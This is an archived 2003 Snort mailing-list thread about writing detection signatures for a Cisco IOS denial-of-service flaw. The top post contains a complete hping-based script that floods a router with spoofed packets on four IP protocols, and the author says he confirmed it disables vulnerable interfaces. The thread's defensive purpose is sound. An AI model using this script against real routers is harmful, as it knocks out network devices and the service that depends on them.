[Snort-users] RE: [Snort-sigs] Suggested Sig for Cisco DOS Vulnerability

Donahue, Pat PDonahue at ...1698...
Tue Jul 22 10:19:28 EDT 2003


Here's a simple script I wrote that you can use to generate an attack:

> cat exploit.sh
#!/bin/tcsh -f

if ($1 == "" || $2 == "") then
  echo "usage: $0 <router hostname|address> <ttl>"
  exit
endif

foreach protocol (53 55 77 103)
    /usr/local/sbin/hping $1 --rawip --rand-source --ttl $2 --ipproto $protocol --count 19 --interval u250 --data 26
end

As you can see, this script iterates over the various protocols and sends 19 packets each for a total of 76 (just enough to fill up the input queue on vulnerable routers). Before upgrading my routers, I confirmed that this attack works. I then tested to see if sending 76 packets of a single protocol was enough to hose the interface.. it was. Maybe I mis-read the original advisory, but it seemed to me that Cisco suggested all 4 were necessary. 

Therefore, be careful when creating your signatures.. If you don't use any of the above protocols (SWIPE, IP Mobility, Sun ND, PIM) it might make sense to have rules that log/alert on all of them. Don't make the rules too dependent on the payload either; in several packet captures I've seen, the payload is significantly larger than the 26 bytes necessary to exploit IOS.

--
Patrick Donahue
Network/Systems Administrator
ACMI Corporation
 

-----Original Message-----
From: Eric Hines [mailto:loki at ...1349...]
Sent: Friday, July 18, 2003 8:02 PM
To: 'Michael Scheidell'; 'Compton, Rich'
Cc: snort-sigs at lists.sourceforge.net; Snort-users at lists.sourceforge.net
Subject: [Snort-users] RE: [Snort-sigs] Suggested Sig for Cisco DOS
Vulnerability


There is definitely an exploit out.. I've got it.. Those of you who
would like to generate a Snort signature from it can get the exploit off
the Full-Disclosure mailing list.



Regards,

Eric Hines
CEO, Chairman

===============================================

Eric Hines
CEO, Chairman
Applied Watch Technologies, Inc.
eric.hines at ...1663...
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-----Original Message-----
From: Michael Scheidell [mailto:scheidell at ...249...] 
Sent: Friday, July 18, 2003 9:01 AM
To: Compton, Rich
Cc: 'snort-sigs at lists.sourceforge.net';
Snort-users at lists.sourceforge.net
Subject: Re: [Snort-sigs] Suggested Sig for Cisco DOS Vulnerability


> Hey guys,
> Doesn't look like a exploit exists as of yet but Cisco just released
what IP
> protocols cause the DOS so it won't be long until there is one!

from http://www.theregister.co.uk/content/55/31825.html
someone sent shadowchode.tar.gz to [Full-Disclosure] list.

Cisco IOS DoS exploit released in the wild 
By John Leyden
Posted: 18/07/2003 at 12:01 GMT

The risk posed by a serious DoS vulnerability to a wide range of Cisco
Systems routers and switches has been upgraded following the release of
an exploit onto a full disclosure mailing list. 


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